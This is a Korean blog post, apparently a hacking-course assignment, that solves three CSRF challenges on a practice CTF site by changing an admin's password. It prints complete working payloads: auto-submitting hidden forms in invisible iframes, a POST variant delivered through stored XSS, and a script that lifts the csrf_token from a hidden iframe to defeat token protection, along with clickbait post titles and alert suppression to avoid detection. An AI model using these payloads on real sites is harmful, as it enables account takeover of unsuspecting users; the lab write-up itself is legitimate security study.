CSRF에 관한 문제를 풀어볼 거다.
CSRF 1
1번 문제이다 CSRF를 이용해서 admin의 비밀번호를 바꾸는 문제이다.
로그인 페이지가 있고 회원가입을 먼저 할 거다
아이디는 test 비밀번호는 1234로 회원가입을 진행했다.
로그인을 하였고 마이페이지를 먼저 확인했다.
URL로 값이 넘어가는 게 보이고 버프스위트로 확인할 것이다.
파라미터가 GET으로 넘어가는 것을 확인할 수 있다.
따라서 http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php라는 주소에서 url로 파라미터를 넘겨주면 비밀번호를 변경할 수 있다.
http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=1234 위의 경로를 가지고 폼을 만들면
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="789456123">
</form>
<script>
document.forms[0].submit();
</script>
이러한 폼과 스크립트를 만들 수 있고 iframe 태그를 이용해서 링크를 클릭하면 자동으로 PW가 변경되도록 할 것이다.
제목을 어그로를 끌만한 주제로 만들어주고 게시글을 만들어본다.
일단 호기심에 눌러볼 거 같다.
만약 관리자가 게시글을 누르면 저렇게 나온다.
버프스위트로 확인하면 값이 변경된 것을 확인할 수 있다.
하지만 이러면 관리자가 바로 알게 돼서 비밀번호를 바꿀 것이다.
따라서 우리는 alert창이 나오지 않게 다시 만들어 볼 것이다.
http://www.tcpschool.com/html-tag-attrs/iframe-sandbox에서 sandbox라는 속성을 이용할 것이다.
iframe에 sandbox="allow-scripts"를 이용하면 스크립트는 실행하지만 팝업창은 생성하지 못한다.
글을 다시 작성해 주고 "월급 두 배로 받는 법" 이렇게 제목을 작성해 주면 궁금해서라도 눌러볼 거 같다.
alert창이 생성되지 않았다.
우리는 비밀번호를 원하는 대로 변경하였다.
CSRF 2
2번 문제이다.
마찬가지로 회원가입을 하고 마이페이지로 들어가서 비밀번호를 변경해 봤다.
이번엔 GET방식은 막혀있고 POST방식으로 돼있다.
GET 방식이 불가능하고 POST방식으로 진행이 된다면 XSS 공격이 가능한지 확인을 해서 XSS와 CSRF를 같이 사용해야 한다.
이렇게 XSS가 사용가능한지 테스트를 해보고
XSS로 alert창을 띄울 수 있다.
우리는 POST Method를 이용해서 폼과 스크립트를 만들 수 있다.
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<meta name="referrer" content="no-referrer">
<input type="hidden" name="pw" value="789456123">
</form>
<script>
document.forms[0].submit();
</script>
위의 스크립트를 이용하여 글을 작성하면 된다.
사이트는 국세청 사이트이고 이 게시글을 읽은 사람은 저 링크를 안 들어갔으니까 괜찮겠지라는 생각을 할 수 있다.
이렇게 시나리오를 만들어 볼 수도 있다.
하지만 링크를 누르면 이미 비밀번호는 변경되어 있다.
CSRF 3
3번 문제이다.
마친가지로 회원가입을 하고 로그인을 한 뒤에 버프스위트로 비밀번호를 변경해 봤다.
비밀번호를 변경하였고
GET이 아닌 POST방식을 사용한다는 것을 알았다.
하지만 그 뒤에 csrf_token이라는 랜덤 한 값이 추가되었다.
그래서 우리는 스크립트로 csrf_token이라는 값을 가져와서 넘겨주는 방식으로 코드를 짤 것이다.
<iframe id="token_v" name="token_v" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" onload="get_token()" width="0" height="0" border="0" style="display: none;"></iframe>
<iframe id="stealthframe" name="stealthframe" width="0" height="0" border="0" style="display: none;" sandbox="allow-scripts"></iframe>
<form id="token_value" method="POST" action="http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="789456123">
<input type="hidden" name="csrf_token" value="">
</form>
<script>
function get_token(){
var token = document.getElementById('token_v').contentDocument.forms[0].csrf_token.value;
document.getElementById('token_value').csrf_token.value = token;
document.getElementById('token_value').submit();
}
</script>
이렇게 코드를 만들고
식단표니까 상황만 맞으면 읽어볼 만하다.
나는 식단표를 보려 했는데 아무것도 없었다.
하지만 비밀번호는 변경되었다.
이로써 문제 3개를 풀어보았다.
CSRF에선 인증이 제일 중요한 거 같다.
'공부 > 해킹 과제' 카테고리의 다른 글
File Upload (8) | 2023.06.02 |
---|---|
SSRF 실습 (0) | 2023.06.01 |
CSRF와 SSRF (0) | 2023.05.26 |
CSRF 1 (0) | 2023.05.19 |
XSS 정리 (0) | 2023.05.19 |